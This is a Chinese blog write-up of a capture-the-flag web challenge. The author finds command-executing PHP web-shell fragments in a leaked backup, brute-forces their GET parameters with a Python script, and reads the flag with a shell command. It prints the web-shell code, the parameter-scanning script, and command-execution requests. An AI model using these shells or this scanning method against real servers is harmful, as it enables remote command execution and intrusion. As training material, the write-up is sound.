

BUUCTF [强网杯 2019] 高明的黑客

原创

[Senimo_](#) 于 2020-12-07 23:48:12 发布 116 收藏

分类专栏: [BUUCTF WEB Writeup](#) 文章标签: [BUUCTF 强网杯2019 writeup](#) [高明的黑客](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/weixin_44037296/article/details/110822330

版权



[BUUCTF WEB Writeup](#) 专栏收录该内容

65 篇文章 9 订阅

订阅专栏

BUUCTF [强网杯 2019] 高明的黑客

启动环境:

雁过留声，人过留名，此网站已被黑

我也是很佩服你们公司的开发，特地备份了网站源码到www.tar.gz以供大家观赏

提示备份了网站源码到 `www.tar.gz`，在连接后添加后缀，下载源码：

src	-- 文件夹	今天 16:56
xft1T01vLhK.php	26 KB PHP	今天 16:56
iPaaO9sFBMQ.php	38 KB PHP	今天 16:56
CnecUwi1mDT.php	32 KB PHP	今天 16:56
YHo_8iRZdwD.php	26 KB PHP	今天 16:56
j1oXJEqaUi.php	38 KB PHP	今天 16:56
F4YfJ5zJHan.php	14 KB PHP	今天 16:56
s6oezYVBtFV.php	32 KB PHP	今天 16:56
pOIGngx4OWI.php	42 KB PHP	今天 16:56
l1eWZqJbDdk.php	24 KB PHP	今天 16:56

随机打开几个文件：

```
<?php
$_GET['jVMcNhK_F'] = ' ';
system($_GET['jVMcNhK_F'] ?? ' ');
$_GET['tz2aE_IWb'] = ' ';
echo `$_GET['tz2aE_IWb']`;
$_GET['cXjHCLMPs'] = ' ';
echo `$_GET['cXjHCLMPs']`;
```

```
<?php
$_GET['w00NrMGQV'] = ' ';
echo `$_GET['w00NrMGQV']`;
if('PRHbDsknI' == 'e7carxkRV')
exec($_GET['PRHbDsknI'] ?? ' ');
$xoZry5T = 'QHByp';
```

可以查看到存在 `GET`、`POST` 传参，并且之后使用了 `system()` 函数，可能存在命令执行漏洞。所以需要从大批量php文件中找到有回显的传参，编写Python 3脚本：

```
import requests
import os
import re

url = 'http://xxx/'
path = '/Users/Downloads/src'

ptn_get = re.compile(br"\$_GET\[('[\w+']\]")
ptn_res = re.compile(br'success_hack')

count = 0

for f in list(os.scandir(path)):
    print(str(f)[11:-2])
    count += 1

    with open(f.path, 'rb') as fp:
        data = fp.read()

    for get in set(ptn_get.findall(data)):
        get = get.decode('ascii')
        cmd = 'echo "success_hack";'

        r = requests.get(url + f.name, params={get: cmd})
        if ptn_res.search(r.content) is not None:
            print(f.name, get)
            exit()
```

应该使用多线程，等了很长时间，得到结果：

```
ya8Sj8GK13K.php  
wZXDkMHsCZ2.php  
x3k6H2WJcdV.php  
XBYq8ogvuza.php  
xk0SzyKwfzw.php  
xk0SzyKwfzw.php Efa5BVG
```

Process finished with exit code 0

https://blog.csdn.net/weixin_44037296

查看 [xk0SzyKwfzw.php](#) :

```
300 $XnEGfa = $_GET['Efa5BVG'] ?? ' ';  
301 $aYunX = "sY";  
302 $aYunX .= "stEmXnsTcx";  
303 $aYunX = explode('Xn', $aYunX);  
304 $kDxfM = new stdClass();  
305 $kDxfM->gHht = $aYunX[0];
```

先访问 [xk0SzyKwfzw.php](#) 页面:

```
array(1) { [0]=> string(8) "wiMl9l7q" } array(1) { [0]=> string(3) "NPK" }
Warning: assert(): assert($_GET['xd0UXc39w'] ?? ' '): " " failed in
/var/www/html/xk0SzyKwfzw.php on line 20
Array ( ) string(5) "vCvMI" PSlarray(1) { [0]=> string(8) "Ph7u_Cwv" } array(1) { [0]=> string(10)
"idch8Z7Sn6" } array(1) { [0]=> string(9) "djD1Ytoul" } array(1) { [0]=> string(11)
"Egx6a0p6kUP" } string(9) "jYmlyYvLz" VSYcTArray ( ) string(8) "hi5LWnZd" array(1) { [0]=>
string(9) "dJREkNffr" } Array ( ) KuuSMt1string(8) "jyUmr9W_" array(1) { [0]=> string(4)
"XQhY" } _68ccP9KGXOAPTUGDAArray ( ) Array ( ) MR8s3nFnarray(1) { [0]=> string(10)
"FWefOFK4g7" } array(1) { [0]=> string(9) "iZFnwUgPf" } Array ( ) THRQINrpUJvf641array(1) {
[0]=> string(6) "KLRXmV" } array(1) { [0]=> string(2) "Tw" } Array ( ) array(1) { [0]=> string(8)
"oCoznfQZ" } gi9Array ( ) czuhsLFVgQstring(7) "l5kR5oo" End of File
```

https://blog.csdn.net/weixin_44037296

在传入参数 `Efa5BVG`: [xk0SzyKwfzw.php?Efa5BVG=1s](#), 得到当前文件夹下内容:

```
array(1) { [0]=> string(8) "wiMl9l7q" } array(1) { [0]=> string(3) "NPK" }
Warning: assert(): assert($_GET['xd0UXc39w'] ?? ' '): " " failed in
/var/www/html/xk0SzyKwfzw.php on line 20
Array ( ) string(5) "vCvMI" PSlarray(1) { [0]=> string(8) "Ph7u_Cwv" } array(1) { [0]=> string(10)
"idch8Z7Sn6" } array(1) { [0]=> string(9) "djD1Ytoul" } array(1) { [0]=> string(11)
"Egx6a0p6kUP" } string(9) "jYmlyYvLz" VSYcTArray ( ) string(8) "hi5LWnZd" array(1) { [0]=>
string(9) "dJREkNffr" } Array ( ) KuuSMt1string(8) "jyUmr9W_" array(1) { [0]=> string(4)
"XQhY" } _68ccP9KGXOAPTUGDAArray ( ) Array ( ) MR8s3nFnarray(1) { [0]=> string(10)
"FWefOFK4g7" } array(1) { [0]=> string(9) "iZFnwUgPf" } Array ( )
THRQINrpUJvf641A00UTldNShN.php A0fcnMF_uew.php A16oZkZnJq4.php A1hmbkdn6s9.php
A4dhYmtMolc.php A6GOwFqNlr1.php A6PosQOxuVP.php A76TROlu89z.php AAPtzyHBTZ3.php
AAZCKuEv8wk.php AB0Bnx6rbXB.php ACFGVWFupnE.php AExbVV9_RG5.php
AF8m_tgE7Bf.php AGArHp0h3GW.php AGDD9gq33z4.php AGI2PT3SbRQ.php
AHW4z4R8ru3.php AH_ubXC2_uQ.php AHu7nnT6Fpq.php AI0HPcFFZ2o.php AKHllRt2XjN.php
AKtgO4kPbBz.php ALseZLfp_4B.php AMeUsZcSqYe.php AMn1sVPvDNA.php
ANlp9Mwr3_Z.php AOpX7sBbgU9.php AOufb8m8Gj5.php APGF4pCTnET.php
AQ3Hs8KPk8.php ARjhwTmVjw.php ASrs5FznWZi.php AUrFvlhjaSj.php AV1i_GF7sk6.php
```

https://blog.csdn.net/weixin_44037296

判断出命令 `1s` 执行成功, 之后就是简单的命令执行, 查看根目录: [xk0SzyKwfzw.php?Efa5BVG=1s /](#)

打开 `flag`: [xk0SzyKwfzw.php?Efa5BVG=cat /flag](#)

```
"XQhY" } _68ccP9KGXOAPTUGDAArray ( ) Array ( ) MR8s3nFnarray(1) { [0]=> string(10)
"FWefOFK4g7" } array(1) { [0]=> string(9) "iZFnwUgPf" } Array ( )
THRQINrpUJvf641flag{7bd4e1c6-a8f5-4f34-89f2-03d112a4ae4c} array(1) { [0]=> string(6)
"KLRXmV" } array(1) { [0]=> string(2) "Tw" } Array ( ) array(1) { [0]=> string(8) "oCoznfQZ" }
```

通过对 `GET` 传参的爆破, 得到真正的参数, 再通过命令执行, 得到 `flag`。